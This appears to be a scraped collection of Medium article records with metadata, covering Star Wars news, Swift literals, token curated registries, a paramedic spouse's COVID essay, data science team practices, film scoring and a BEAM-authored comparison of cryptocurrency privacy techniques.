Only time will tell what is to come of these beloved characters, but for now, you know we will be discussing all theories while we wait to see. | https://medium.com/@aaronwjohnson99/mandalorian-how-the-series-could-look-for-season-3-3ad2b89114e4 | ['Aaron Johnson'] | 2020-12-19 08:22:14.939000+00:00 | ['Star Wars', 'Grogu', 'Mandalorian', 'Luke Skywalker'] |
Implantation, mobilité interne: les nouveaux défis de l’entreprise | in In Fitness And In Health | https://medium.com/data-rh-france/comment-extraire-la-valeur-des-profils-de-vos-employ%C3%A9s-4e4d50b76fd9 | [] | 2016-02-29 11:23:08.861000+00:00 | ['Recrutement', 'Ressources Humaines'] |
Explaining Expressible Literals in Swift | Explaining Expressible Literals in Swift
Enrich your custom types by initializing them with a String, Array, or other types
Photo by Zuzanna Adamczyk on Unsplash
Expressible literals allow you to initialize types by making use of literals. There are multiple protocols available in the Swift standard library, the chances are you’ve already been using one.
An example is the ExpressibleByStringLiteral allowing us to initialize a String using surrounding double quotes instead of using the String(init:) method. We can all benefit from the fact that Swift is built through these protocols by adopting the protocols in our own defined types.
What’s a Literal?
A literal is a notation for representing a fixed value such as integers, strings, and booleans. Literals in Swift are made possible by several available protocols. Standard types conform to these protocols and allow us to initialize values as follows:
var integer = 0 // ExpressibleByIntegerLiteral
var string = "Hello!" // ExpressibleByStringLiteral
var array = [0, 1, 2] // ExpressibleByArrayLiteral
var dictionary = ["Key": "Value"] // ExpressibleByDictionaryLiteral
var boolean = true // ExpressibleByBooleanLiteral
Those are the most commonly used ones but there are a few others. They’re worth exploring and while you do, you might run into a special protocol called ExpressibleByNilLiteral .
The ExpressibleByNilLiteral is used to make it possible to initialize optionals using nil :
var optional: String? = nil // ExpressibleByNilLiteral
This protocol is used for optionals only and should not be used for custom types. Basically, just ignore this one. | https://medium.com/better-programming/explaining-expressible-literals-in-swift-e7a55514edbd | ['Antoine Van Der Lee'] | 2020-05-29 12:19:55.714000+00:00 | ['Swift', 'Xcode', 'Programming', 'iOS', 'Mobile'] |
Token Curated Registries — Reflections from Ryan Selkis, CEO of Messari | Recap of a talk from Ryan Selkis, Founder and CEO of Messari, at the (Off) The Chain Summit presented by Pillar as part of Boston Blockchain Week.
Ryan Selkis, Founder and CEO of Messari
Ryan Selkis is the Founder and CEO of Messari, a company that promotes transparency in the crypto industry through an open-source data library, also known as a token curated registry. According to Mike Goldin, who pioneered the token curated registry concept, they are decentralized curated lists with intrinsic economic incentives for token holders to curate the list’s contents judiciously.
Find key highlights below from the talk Selkis presented at our recent (Off) The Chain Summit presented by Pillar.
Decentralizing the Creation and Curation of Lists
Lists are one of the few concepts in cryptocurrency that pre-date money. Since the dawn of human civilization, people have kept mental or written lists, whether it was of people, things or ideas. Why? Because, as Selkis explains, “Lists help minimize our mental transaction cost when trying to make decisions.”
By having a list that we continuously curate, we make it easier to discern between the things that may or may not belong on the list. To make it even easier on ourselves, we sometimes enlist “trusted experts to help with the curation.”
So what does this all have to do with tokens? Typically, the lists (registries) we reference as consumers are controlled by a central authority. They’re naturally subject to bias and require maintenance by a single entity to remain current and fresh. Token curated registries transform this model by putting the power to create and curate lists into the hands of the people (stakeholders), leveraging tokens to incentivize this behavior.
“Token holders dis-intermediate the traditionally centralized institutions that generally make the judgement call.” — Ryan Selkis (Founder & CEO, Messari) — Click to Tweet
Here’s how it works —
Consumers: Use the list to help them make decisions Candidates: Pay an “application fee” to be listed Token Holders: Purchase stakes in a list so they can vote on new additions to the list Curators: Help maintain the list — responsible for voting in and voting out the candidates (token holders can be curators)
Candidates who want to be part of a list use tokens to pay their application fee and buy an opportunity to be included. This isn’t a guaranteed spot on the list, but rather, the chance to be included. A community of trusted experts are then incentivized with tokens to vote on the initial contents of the registry, and maintain it over time.
These lists can be lists of anything — service providers, data sources, advertisers. In Messari’s case, the company is curating a list of reputable crypto projects that comply with certain regulatory disclosures. Token holders and curators act as the decentralized decision makers, disrupting centralized models.
Token-Curated Credentials
Selkis sees token curated registries taking the strongest hold in industries where “quantifying the value of certain credentials in modern markets” makes sense — such as telemedicine, advertising, and more.
“I think about the early winners of token curated registries and the healthiest ones have four characteristics,” said Selkis. Summarized in the slide below, these characteristics allow for the continual curation of the registries to ensure that the list does not get outdated, and that the information within the list remains valid.
Slide from Ryan Selkis’ pitch deck
The Messari Approach
Messari has taken the idea of a token curated registry and applied it to the token economy, creating a “token white list” for projects that meet certain regulations and disclosures. This approach solves three main problems for the market as it stands today:
Regulatory transparency Lack of fundamental analysis of the assets No common denominator of data (ex. data found on the first page of an S1)
Selkis noted that earlier this year, SEC Chairman, Jay Clayton, posed the question, “Are there opportunities to deter, mitigate, or eliminate wrongdoing before an enforcement action becomes necessary?”
The answer, Selkis thinks, is transparency.
“If you shed a little light on what’s going on, and find a way to standardize [the] information, you can probably go a long way towards solving some of the SEC and other equivalent regulatory body’s concern,” asserts Selkis.
But taking away some of the SEC’s headache isn’t the only benefit. By standardizing some form of disclosures and language across the board, fundamentals analysis of these different assets becomes possible, explains Selkis. Then, it’s not just 100% sentiment driven in this market.
Finally, Messari plans to create a “low-level data service that is free, open source, that anybody can access over time and build on top of, that can serve as the lowest common denominator as some of the information in this industry.” Similar to the information on the first page of an S1, this information will allow companies to stop spending their time and energy to find simple information that should already be readily available.
Enforceability of Reporting Standards
“The real challenge as you think about data integrity and as you think about some of these open platforms such as Crunchbase, Angelist, and others, is enforceability and how quickly this information gets stale,” said Selkis.
He thinks token curated registries have the potential to solve this. “If you can get the major regulated stakeholders in the industry — the funds, the exchanges, the advisors, the underwriters, to buy stake in a system where they are the voters and they control which projects get into the registry and which projects stay on over time based on their willingness to abide certain table stakes type of disclosures about their monetary supply, how they actually liquidate their treasury tokens, how they manage their treasuries, and the like,” then it is likely the data will remain both up to date, actionable, and clean.
To learn more about Messari, read this article written by Forbes.
Written by: Katie Mulligan | https://medium.com/pillar-companies/token-curated-registries-reflections-from-ryan-selkis-ceo-of-messari-e0b781ab18bd | [] | 2018-11-07 14:53:40.842000+00:00 | ['Bitcoin', 'Blockchain', 'Ethereum', 'Cryptocurrency', 'Venture Capital'] |
Ming-Na Wen confirms her role in “The Bad Batch” series | Disney+
Disney Investor Day revealed a first look at The Clone Wars sequel series The Bad Batch and about halfway through the sizzle real, we are given a super quick appearance from what looked like Fennec Shand.
The Mandalorian actress Ming-Na Wen confirmed on Twitter that she will be in The Bad Batch voicing her character Fennec Shand.
“Do you know how long I’ve had to keep silent about Fennec coming back?” Wen said in an interview with Star Wars. “This is the first time I’ve been able to talk about it!”
Wen first appeared in The Mandalorian in Season One as a bounty hunter on Tatooine being tracked down by Mando and rookie Toro Calican. The episode ends with Calican shooting Shand and a mysterious figure approaching her body which is later revealed to be Boba Fett.
Shand appears once again in Season Two of The Mandalorian with Boba after he helped her mend from the gunshot and is now aiding Mando in getting Grogu back from Moff Gideon.
Shand’s role in The Bad Batch has not been identified yet but we’ll certainly get an early look of her bounty-hunting days and potentially the work she did before Tatooine.
The Bad Batch will premiere on Disney+ in 2021.
Sara Edwards is the Star Wars Writer for Boardwalk Times. | https://boardwalktimes.net/ming-na-wen-confirms-her-role-in-the-bad-batch-series-1c6f46000c1d | ['Sara Edwards'] | 2020-12-17 20:05:00.135000+00:00 | ['Disney Plus', 'Disney', 'The Clone Wars', 'Star Wars', 'Television'] |
What First Responders Want You To Know About Covid-19 (I Think) | Photo by engin akyurt on Unsplash
I’m not a first responder, but I’m married to one. In a way, that makes me a first responder to a first responder. While he responds to your emergencies, I’m the one who is waiting at home to help him celebrate the good calls, process the bad calls, and keep everything in perspective so he can go to work again the next day.
My husband is the type of paramedic that you really hope shows up when your dad has a heart attack or your toddler wakes up covered in hives.
He is patient, confident, and always has warm hands. He is funny — but not too funny — and can get people to talk about things like what kind of drugs they’ve taken or where the bruises on their chest came from. He is meticulous about medications and can convince even the most crotchety old folks to go to the hospital when their blood pressure is too high.
It sounds cliche, but it takes a special kind of person to be a first responder. I’m not sure if it’s emotional fortitude or fortress-like boundaries, but when Jared comes home from a shift, he scoops up our kids, plays with our dog, kisses me, and pitches in to mow the lawn or cook dinner. Later, over a glass of wine, I’ll learn that his day included a teenage suicide, a couple of heroin overdoses, and a car accident.
For him, a good call is one where his team performs their jobs perfectly. It’s one where the ambulance was stocked with exactly the right equipment and the patient and their family were treated with dignity and respect. Even if a patient dies, he can come home feeling good as long as everything went smoothly.
On the flip side, there are times when things don’t go well on the ambulance. It tips him sideways to not have the right equipment to properly treat a patient. Whenever I borrow his laptop, I find tabs open to pages about pediatric strapping systems, bariatric stretchers, positive non-rebreather tubes, and other pieces of equipment that I know nothing about.
I think he is so focused on makings sure the ambulances in the town where he works are well-stocked because even though he’s a first responder, his ambulance is often the last stop for patients who breathe their last breath under his care. He doesn’t want someone to die because of some obscure 2$ valve that wasn’t available.
You’re lucky if you don’t know this, but until Covid-19, the thing that kept the ambulance wheels rolling was heroin. All day, all night, it was heroin. The overdoses happened fast and frequently. Old, young, rich, poor, dressed, or naked.
We used to talk about heroin all the time. I’m a high school teacher and I would go to school and beg my students to never try it. When we drive through the down where Jared works, he’ll point out all the places he’s gone to treat heroin overdoses. Homes, of course. But parking lots, public parks, Walmart, and Motels.
Once a delivery driver delivered a pizza to a nursing home and overdosed in the bathroom. He left the sink on and was discovered by an old man who saw water running down the hallway.
It’s strange, but I find myself looking back at those heroin years with a little bit of nostalgia. Here’s why: Narcan, the drug that reverses heroin overdoses, is amazing. When paramedics show up, they give a squirt up the nose, and within minutes, a patient who had been blue and pulseless would be standing — and often, trying to run away. So even though the overdose calls were sad to hear about, they often had happy endings.
Heroin wasn’t contagious, and although people from every walk of life can become addicted to it, you can’t spread addiction through aerosolized droplets.
Is it strange to say that now that Covid-19 is on the scene, I miss the overdose calls?
For first responders, not knowing what to do and not having the right equipment to do it is stressful. They thrive on algorithms and dosage charts. One step follows another and the lungs inflate or the heart starts beating again.
Early in the pandemic, Jared told me about treating a patient who later tested positive for Covid. She was laying on her back in bed, her features gaunt and shapeless. Her body contorted as her muscles contracted and she coughed, a perfect, aerosol spray of particles at a precise interval. He put a mask on her and took her to the hospital, not knowing if she would live or die.
Since then, he’s treated many more Covid patients. Some are conspiracy theorists, who deny the pandemic is real as they are gasping for breath on the stretcher. There are parents who caught it from their kids and vice versa. Last week, he transported a couple in their 80s to the hospital who caught it from their son at Thanksgiving dinner.
There is no Narcan for Covid. There’s not even a way to diagnose Covid in the field. Anyone with a cough, a fever, a headache, or stomach pain is treated as if they’re positive, which means all of the first responders on the call have to put on a Halloween costume’s worth of protective equipment. There are no smiles or jokes to lighten the mood. Each call ends with an hour of disinfecting the ambulance, showering, scrubbing, and anxiously waiting to hear the result of the patient’s covid test.
On the outside, Covid has taken a toll on my husband. His voice is hoarse from shouting to be heard through his mask. His hands are dry and cracked from using so much hand sanitizer. His face is rashy from spending so many hours wearing a mask.
On the inside, it’s taken a toll too. Being a paramedic used to mean saving the day. It was heroic and brave and even fun to show up on a scene with flashing lights, a fancy outfit, and a commanding presence that brought order to chaos.
But nobody feels like a hero in a gown and goofy goggles. And it doesn’t feel good to know that every call is a potential covid exposure that could send your life tumbling like a house of cards in the wind. It’s scary to think that microscopic particles from a patient who doesn’t even seem that sick could hitch a ride in your lungs and later kill your dad or your wife — me.
There’s a guy in our neighborhood who is very outspoken about how the pandemic is fake, Covid is imaginary, and the CDC is faking the death toll to put Democrats in power. He doesn’t let his family wear masks and he brags about the fights he gets into when people ask him to put on one.
Yesterday, Jared wondered out loud how our neighbor would handle some of his recent Covid calls. Would he flip the bird and shout ‘conspiracy’ as he strutted the halls of the long term care facility where 14 out of 15 patients have died from Covid? Would he step maskless into the apartment where a Covid patient had waited to call 911 until his sheets were drenched with body fluids? How deeply would he breathe?
As I type this, there are doses of the vaccine headed our way. I know they are a drop in the bucket, but I’m grateful anyway. It’s been hard to know what to hope for over the last few months. But now, I hope the vaccine will be safely and fairly distributed. I hope people will wear masks. I hope my husband can make it a few more months without catching Covid.
I hope you can too.
And if you want to do something nice for first responders, you can skip the baked goods or the handmade cards. Instead, wear a mask. Wash your hands. Nutpunch anyone who tells you Covid is fake. Stay home. See your family over Zoom, order takeout, and spend time outdoors away from crowds.
Oh, and also — don’t do heroin either. | https://medium.com/illumination-curated/what-first-responders-want-you-to-know-about-covid-19-i-think-142803734345 | ['Emily Kingsley'] | 2020-12-15 19:15:02.702000+00:00 | ['Culture', 'Health', 'Society', 'Covid 19', 'Relationships'] |
Highly Effective Data Science Teams | For all its hype, Data Science is still a pretty young discipline with fundamental unresolved questions. What exactly do data scientists do? How are data scientists trained? What do career paths look like for data scientists? Lately, I’ve been thinking most about a related question: What are the markers of a highly effective data science team?
We often think first of “is there lots of data?” as the most important criteria for doing great data science work. I want to argue for a broader list that explores the processes of the team, the infrastructure that supports the team, and the boundaries between the team and the rest of the company. If you can organize those in a way that lets the team focus on the problems they own and remove friction around those problems, data scientists will excel.
This approach is inspired by Joel's test for software engineering teams. The structure of his framework is simple. You should be able to quickly answer each question with a yes or no. More yes’s are better!
This is a baseline measure of health — great teams might diverge on many other dimensions. These questions are as much about the ecosystem around the team as the team itself, but in my experience data science teams are so embedded that they must be acutely concerned with their organizational environment. You can also think about this from the perspective of someone thinking about joining your team; what would you ask about a team you were thinking about joining?
The Questions
Do you spend the vast majority of your time on projects that take longer than a day? Does data infrastructure have dedicated engineers working on it? Do people in the organization have ways to access basic data without asking a data scientist? Can you access data without impacting production system performance? Do you spend more time doing analysis than waiting for data? Is there documentation for major schemas? Is instrumentation considered part of a minimum launch-able product? Do you have a process for detecting and fixing bugs in data collection? Is past research work documented and available in a central location? Does the team have a regular process for reviewing work before sharing it? Do you run experiments to understand the impact of decisions? Can you report negative results without major political pressure? Can the CEO (or other leader) name at least one way the team contributed that quarter? Are data scientists consulted in product and business planning processes?
Great data science work is built on a hierarchy of basic needs: powerful data infrastructure that is well maintained, protection from ad-hoc distractions, high quality data, strong team research processes, and access to open-minded decision-makers with high leverage problems to solve.
The first set of questions (1–3) focuses on whether the data science team is properly protected from tasks that could be better handled by better infrastructure, tools, or other specialists. Because data science is an interdisciplinary field and data scientists have at least basic skills in many adjacent domains (like engineering, dev ops, product management, math, research, writing, business, etc.) one of the easiest failure modes as a team is if they can’t focus on work that requires that entire set of skills to accomplish. Spending most of your time on ad-hoc requests, supporting simple data access, or doing data pipeline management displaces data science work. Because they can do that work well, it takes a disciplined organization to make sure they don’t have to.
A data team without rich data is flying blind, and questions 4–8 test whether the team has enough data and the associated tooling to work with it efficiently. If working with data is high friction because it conflicts with production systems, is undocumented or inconsistently collected, or simply not present, then it becomes challenging for a data science team to contribute in a timely fashion. They are also a measure of the level of organizational trust the team has; if product teams don’t get value from the data science team, building and fixing data collection systems will get de-prioritized.
Internal team processes (covered by questions 9–11) ensure the team is doing the kind of high quality research work that builds and maintains trust in the organization. Validating the work of a data scientist is out of reach for most of the team’s customers, so it is the responsibility of the team to commit to documenting their work, putting it through strenuous peer review, and evangelizing results. It should go without saying, but controlled experimentation is the most critical tool in data science’s arsenal and a team that doesn’t make regular use of it is doing something wrong.
If there is pressure for the data science team to make products look great even when evidence doesn’t support that view, then leadership is rotten. Teams must be able to report negative results confidently, otherwise everyone will lose trust in positive results. Data science teams need access to decision-makers with high leverage questions, and those decision-makers must have an honest relationship with data and evidence. One good proxy for this is whether there is demand for the data science team’s involvement and that leaders can rapidly identify how data science helped their team succeed. The final questions, 12–14, try to catch any of these issues. | https://medium.com/mit-media-lab/highly-effective-data-science-teams-e90bb13bb709 | ['Drew Harry'] | 2016-03-04 02:18:26.244000+00:00 | ['Management', 'Data Science', 'Startup'] |
5 Questions to ask when scoring a scene | How to decide what type of music is most appropriate
It’s always easier to watch a film and pass judgement about how well the music works with the movie. It’s much more difficult when you don’t have existing music to guide your thoughts. It would make sense to ask your director what they were thinking of to get some idea of where to start but, if you expect them to explain what they want in any sort of musical detail you won’t be doing the job you were hired to do. I mean, if they have all the answers why do they need you in the first place?
I’ve found a more effective approach is to spend the time necessary to understand the movie first. Then, when you have a discussion with your director, you will be better equipped to interpret what they say into a language you both can understand. The added benefit, and a seemingly unintended consequence, is you will find it much easier to discuss the project. At the same time there is a good chance your director will become more comfortable with you which will open the door to developing a relationship that will enable a positive outcome.
So where do you start when prepping for your first director’s meeting?
Where in the narrative does this scene occur?
There are no isolated scenes in a movie. Each scene is designed and placed with a specific purpose in mind: move the story forward to its ultimate goal. It is important to recognize where the scene occurs in relation to the ultimate goal of the protagonist. Is it the Main Title? Is the scene in the Second Act? Does the scene act as a bridge between Acts? It is crucial to understand story structure because how music is used will depend upon where the scene occurs in the narrative.
How does the scene move the story forward?
Now that we have determined the arc of the story we can look at how an individual scene is structured. Think of a scene as a mini-story within a larger story. This means there is a beginning, a middle and an end in every scene. What may not be so obvious is at the end of every scene a question will be asked of the audience to make them want to see the next scene to discover the answer. This device is what propels the movie forward. If a scene comes to a “cadence” the story stops and the audience will lose interest. How you treat this musically is dependent upon a variety of factors but, knowing that you have to lead the listener somewhere else should be at the forefront of your mind.
Which characters are in the scene?
Every movie has multiple characters who have roles to play in the story. The protagonist and the antagonist are likely obvious. However, there are also supporting players, subplots, location changes etc that will have an impact on what themes or moods you will use. And why is this important? Music is a powerful subliminal force. An audience will identify a melody, a harmonic progression, an orchestrational device or even a rhythmic pattern to whatever character they see when that music plays. Every shot in a film is composed of color, shapes, objects, camera angles, lighting, props chosen with great care and attention to detail. Music is no different.
What is the “pace” of the scene?
Tempo has its own meaning in relation to storytelling. A love scene with a first kiss has a different pace (or tempo) than a chase scene. Directors and editors are finely attuned to the pace of each scene. They arbitrarily decide when a story needs to speed up or slow down with respect to the structure of the story that is being told. At the same time these changes in pace are wildly subjective. Being able to match the pace of your music to fit the needs of the scene will require you to recognize not only when these changes in pace occur but also why they are there in the first place.
What is happening “inside” the characters?
This is where the magic of music is at its most apparent. Music conveys emotion. Therefore, our musical choices will inform the audience about what can’t be seen on screen. If you think about it…this may be the most subjective part of the filmmaking process because music cannot be adequately described in language. Therefore the desired emotional impact of music used in film is a guess at best because everyone will respond differently to any piece of music.
The only way you can “hedge your bets” is to have a thorough understanding of as much of the filmmaking process as possible and become intimately aware of as many nuances in the story, characters and actors’ performances as possible.
Ignorance is a career-limiting attribute. If your goal is to create a sustainable career as a film composer do the work and realize that film composers are filmmakers…not just musicians.
If you are serious about improving your skills and creating a career as a film composer check out my advanced film scoring class at www.chrisboardmancourses.com | https://medium.com/@chrisboardmanmediagroup/5-questions-to-ask-when-scoring-a-scene-95d88a0da3cd | ['Christopher Boardman'] | 2020-12-16 22:14:54.448000+00:00 | ['Film Music', 'Media Composer', 'Film', 'Creative Process', 'Film Composer'] |
Comparing privacy coins is hard! | Privacy might seem like a simple matter. You just keep things to yourself, right?
But it isn’t always that simple. Whenever we go about our lives, we “leak” information. When we do our daily commute, people see us along the way, and we leak location-based data to them. If they notice us a few times, they can learn that we probably live and work nearby. The cashier at the local grocery store knows that we can’t control our chocolate addiction.
Google and George Orwell — 1984
And in today’s connected world, large corporations can track pretty much everything we do online.
Privacy in cryptocurrencies is even more complex. The way cryptocurrencies work is that every action requires sharing information with every other user. You might think Bitcoin is anonymous because you don’t have to use your name, but even though addresses don’t have a real-world identity, you can still learn a lot from looking at some Bitcoin transactions and the relationship between them.
Team BEAM believes the privacy issue is fundamental for cryptocurrencies going forward. We’re willing to adopt a didactic strategy when it comes to various privacy-related trade-offs (there’s no perfect solution!). And the reason why is that we still believe in our crazy world, arguing, debating, and fighting for our truth is important, essential, and vital.
Oops.
House — Fox
So here’s a story. On BEAM’s website, we recently published a comparison table, comparing BEAM’s features to other cryptocurrencies. What we wanted to achieve was quite simple from our point of view: to help visitors quickly gauge what makes BEAM special, and decide if they wish to learn more or not. But there’s a whole world between what we wish and what we get.
However, we quickly got some serious, interesting, and predominantly constructive pushbacks on our social media channels. For example:
We wouldn’t have used the word deceptive there, but we get the point, seriously. Sometimes when you try to explain yourself, you try to simplify. But here, we simplified too much, left out a lot of singular and important details, and ended up with a comparison that ignores the complexities of the situation.
How could we fix this wrong impression? The solution was written on the wall, or actually on a Reddit thread. Let’s proceed to a more in-depth look into this comparison, and also let’s give other coins and approaches the attention they deserve. This is by no means a comprehensive review however, and should only serve as a stepping stone for you, the reader, to begin your own research.
Bitcoin
Bitcoin
The big guy. The coin to rule’em all. A lot of us think of Bitcoin as “anonymous.” It isn’t really (we’ll see why), but it does have a lot going for it in the way of privacy.
For example, all modern Bitcoin wallets will generate a unique receiving address for you whenever you get a payment. This makes it harder for others to link different transactions from the same entity.
Some other major cryptocurrencies, like Ethereum, have most wallets by default using just a single address forever. This means that whenever you send a friend $5 worth of Ethers, they learn your address, and since you’re only using one, they can view your entire financial history: tokens you owned, and how much, when did you got them and when you sold them. Not good! Try this next time someone sends you an ETH transaction…
From Friends — ABC
We’ll get back later to this important point: defaults matter. There’s not much standing in the way of Ethereum wallets from generating unique addresses for every ETH transaction, but they don’t and that’s usually not the default. With Bitcoin, it is the default, and that improves the privacy of all Bitcoin users.
Bitcoin also scales better than other coins like Monero and Zcash. It’s not perfect by any means, but it’s still possible to run a Bitcoin node on cheap hardware and internet connections. This is important because when you use your own Bitcoin node, you don’t need to use a third-party server that will know about your addresses. The more people use their own nodes, the more private Bitcoin is for everyone! And this is a postulate.
Some other things people do to improve their privacy by using Bitcoin. Each of them has their own tradeoffs (remember, nothing is perfect), but none of them are enabled by default:
Centralized Mixing — basically you can use a third-party like an exchange or a mixing service. You will send them some coins, and they will send back the same account, from another stash of coins. For anyone looking from the outside, the two transactions won’t appear to be connected at all. However, you must trust that the third party service won’t keep logs and publish them at some point — this will enable them to snitch on you! They can also steal your coins by just avoiding sending them back. Lastly, the third-party service must have a lot of liquidity (many bitcoins sitting idle waiting for mixing).
— basically you can use a third-party like an exchange or a mixing service. You will send them some coins, and they will send back the same account, from another stash of coins. For anyone looking from the outside, the two transactions won’t appear to be connected at all. However, you must trust that the third party service won’t keep logs and publish them at some point — this will enable them to snitch on you! They can also steal your coins by just avoiding sending them back. Lastly, the third-party service must have a lot of liquidity (many bitcoins sitting idle waiting for mixing). Tumblebit — this has various “modes.” The simplest one is basically a trustless version of centralized mixing. It is still run by a single server, but you don’t have to trust that server with your privacy or with the safety of your funds. Win! That’s great, but the third party must still maintain a lot of liquidity, and their operation might be illegal in some territories, making things tricky. This might be why it’s hard to find Tumblebit services in the wild these days.
CoinJoin — with CoinJoin, multiple users get together to create a single transaction that combines many inputs and outputs. Think of inputs as “where the money is from,” and outputs as “where the money is going.” The coins to fund a transaction can come from multiple sources, or inputs , and can go to multiple targets, or outputs . If Alice, Bob, and Carol all get together to create one transaction funded with 3 inputs, one for each, with a size of 1 BTC, and that transactions have 3 outputs that go to Carol, Alice, and Bob (random order), to new addresses that no one else knows… Well, it would be hard to tell which output belongs to who! But , the problem is that Alice, Bob, and Carol must all be online together, and must all meet somehow to create the CoinJoin transaction. There are some tools to automate this, like JoinMarket and WasabiWallet, but it’s not yet easy to use, and it can take quite a while to find partners for the CoinJoin. Another big problem is that all amounts in the CoinJoin transaction must be equal. If they aren’t, and say Alice puts in 1 BTC, Bob puts in 2 BTC, and Carol puts in 3 BTC, it would be easy to look at the size of the outputs and figure out which output belongs to which user. So either you look for partners who happen to want to mix the same amount of coins as you do, or you try to hide the amounts……
— with CoinJoin, multiple users get together to create a single transaction that combines many inputs and outputs. Think of inputs as “where the money is from,” and outputs as “where the money is going.” The coins to fund a transaction can come from multiple sources, or , and can go to multiple targets, or . If Alice, Bob, and Carol all get together to create one transaction funded with 3 inputs, one for each, with a size of 1 BTC, and that transactions have 3 outputs that go to Carol, Alice, and Bob (random order), to new addresses that no one else knows… Well, it would be hard to tell which output belongs to who! , the problem is that Alice, Bob, and Carol must all be online together, and must all meet somehow to create the CoinJoin transaction. There are some tools to automate this, like JoinMarket and WasabiWallet, but it’s not yet easy to use, for the CoinJoin. Another big problem is that all amounts in the CoinJoin transaction be equal. If they aren’t, and say Alice puts in 1 BTC, Bob puts in 2 BTC, and Carol puts in 3 BTC, it would be easy to look at the size of the and figure out which output belongs to which user. So either you look for partners who happen to want to mix the same amount of coins as you do, or you try to hide the amounts…… Confidential Transactions — This is a method proposed for Bitcoin, but not implemented yet (with no clear roadmap either). It allows hiding the amounts in a transaction. You could be sending 0.01 BTC or 1000 BTC and no one would know. This helps CoinJoin a lot as well. Unfortunately, it is hard to tell when, and if, it will be available in Bitcoin. It is available on some other privacy coins though…
Lightning network — this isn’t the place to go in-depth on lightning, but we’ll just say it can help with privacy as well. Since it moves many transactions off-chain, most network participants are not aware of them, so better privacy can be achieved. It is not perfect, and some actions may leak information (for example, opening and closing channels on-chain). But it is a step forward!
While these features are all great, most bitcoin users probably don’t use them. They’re not on “by default,” and using them requires some expertise. Privacy is improved for everyone as more people take care to protect it — because you can hide in a larger group of people. If you’re the only one protecting your privacy and anonymity, you’ll stick out from the crowd! That’s why we believe there’s room for specialized “privacy coins.”
If you want to read more on these and other current and future privacy features for Bitcoin, try this article by Bitcoin Magazine.
Zcash
Zcash is a coin based on “zkSNARKs,” a new-ish scheme that allows hiding pretty much everything about transactions. We won’t explain how it works here, but it can hide amounts, inputs and outputs perfectly, only revealing metadata like transaction times and transaction fees.
The are three main problems with Zcash:
Privacy isn’t on by default . “Shielded transactions” are bigger and slower to generate than transparent transactions, so they are off by default, and most wallets don’t support them at all. This might improve with time, but right now only a small percentage of Zcash transactions are shielded, and that hurts everyone’s privacy.
. “Shielded transactions” are bigger and slower to generate than transparent transactions, so they are off by default, and most wallets don’t support them at all. This might improve with time, but right now only a small percentage of Zcash transactions are shielded, and that hurts everyone’s privacy. “Moon math” — zkSNARKs are new and few people understand them deeply. They didn’t receive as much review as simpler schemes used by other coins, so there are concerns that some bugs still lie there somewhere. That said, Zcash has been going on without fail for a while now.
— zkSNARKs are new and few people understand them deeply. They didn’t receive as much review as simpler schemes used by other coins, so there are concerns that some bugs still lie there somewhere. That said, Zcash has been going on without fail for a while now. Trusted setup — zkSNARKs require a special permissioned secret key to set the entire system up. If this key leaks, anyone who gets a hold of it can subvert the entire system, creating new coins out of thin air, in a way that’s undetectable, slowly destroying the coin’s ecosystem. The Zcash foundation has a few mitigations in place to try and prevent this event from occurring, but it’s still a real threat.
Monero
Monero uses Stealth addresses (which can optionally be used in Bitcoin as well) for hiding outputs, Confidential transactions (remember those?) to hide amounts, and Ring Signatures to hide inputs.
Ring signatures work by obscuring the true inputs of a transaction inside a pool of unrelated inputs. Unlike CoinJoin, this doesn’t require anyone else to be online at the same time. But you do get a potentially smaller set of inputs to hide in. Read more on this other article by Bitcoin Magazine.
Monero is, unfortunately, notoriously hard to scale. It currently isn’t anywhere near as popular as Bitcoin, but if it was, its chain would be huge and perhaps unmanageable.
That being said, all Monero transactions are private by default; there’s no way to disable the privacy features. This is a huge plus and makes Monero potentially a better choice for privacy than Bitcoin and Zcash.
Mimblewimble: BEAM and Grin for now
We saved the best for last :)
Mimblewimble bursts into the scene as an anonymous white paper dropped on an IRC chat room. It seems to elegantly pack some of the best lessons learned in a decade of blockchains. Here are some benefits:
Amounts are hidden with confidential transactions
Transactions are lightweight : they consist of just a number for the input, another number for the output, and (almost) nothing else
: they consist of just a number for the input, another number for the output, and (almost) nothing else Cut-through : When blocks are created, if a transaction is spending outputs from another transaction in that same block, the outputs from the spent transaction and the inputs from the spending transactions can be removed from the block! When the next block is mined, the two blocks can be cut-through in the same way, until the entire chain has been cut-through! This not only saves space, but it also means that we end up with a chain that is composed only of unspent outputs, so the chain information can’t be used to link transactions! Essentially, this gets the same benefits as CoinJoin, but without requiring users to be online at the same time, and with a much larger anonymity set (all outputs)!
: When blocks are created, if a transaction is spending outputs from another transaction in that same block, the outputs from the spent transaction and the inputs from the spending transactions can be removed from the block! When the next block is mined, the two blocks can be cut-through in the same way, until the entire chain has been cut-through! This not only saves space, but it also means that we end up with a chain that is composed only of unspent outputs, so the chain information can’t be used to link transactions! Essentially, this gets the same benefits as CoinJoin, but without requiring users to be online at the same time, and with a much larger anonymity set (all outputs)! And since this is all integral to how the system works, privacy is on by default!
This allows creating coins that aren’t just lightweight, but also very private. We can further improve upon them with innovations from things like Bitcoin:
For example, one drawback of Mimblewimble is that, while a cut-through blockchain doesn’t retain enough information to link transactions, this information does exist when the transaction is first created (before cut-through) and being broadcasted to miners for inclusion in a block. If miners (or someone else) record this information and store it, they can later attempt to use that to link transactions. One approach to mitigate this problem is using CoinJoin when generating a transaction, to obscure the links between inputs and outputs before ever broadcasting the transaction. Team BEAM is working on a solution that improves upon this concept, and we will share more in the future.
exist when the transaction is first created (before cut-through) and being broadcasted to miners for inclusion in a block. If miners (or someone else) record this information and store it, they can later attempt to use that to link transactions. One approach to mitigate this problem is using when generating a transaction, to obscure the links between inputs and outputs before ever broadcasting the transaction. Team BEAM is working on a solution that improves upon this concept, and we will share more in the future. We can also use Lightning with Mimblewimble to further move transactions off-chain, with the privacy and scalability benefits that come with that. BEAM is committed to making this a reality soon.
You can learn more about Mimblewimble by reading Grin’s introduction, and our own ELI12.
Keep it together, folks!
We believe “privacy by default” is critical to allow real privacy benefits for everyone. But we also understand that there more Bitcoin users who take care to take the steps to protect their privacy, than the entire Mimblewimble userbase together! This might have something to do with how no Mimblewimble coins launched yet…
We intend to continue to learn and adapt from privacy-related innovations in the cryptocurrency space, and we believe Mimblewimble and BEAM have a lot to offer in return. We’ll deploy a large-scale implementation that includes Confidential Transactions, Bulletproofs, Signature Aggregation, Dandelion, and a whole other host of technologies, and our experience will be useful for other communities, even if they won’t be interested in using BEAM :)
Sure, the cryptocurrency space is competitive. But we can, and should, learn from each other along the way and push out shared goals, together.
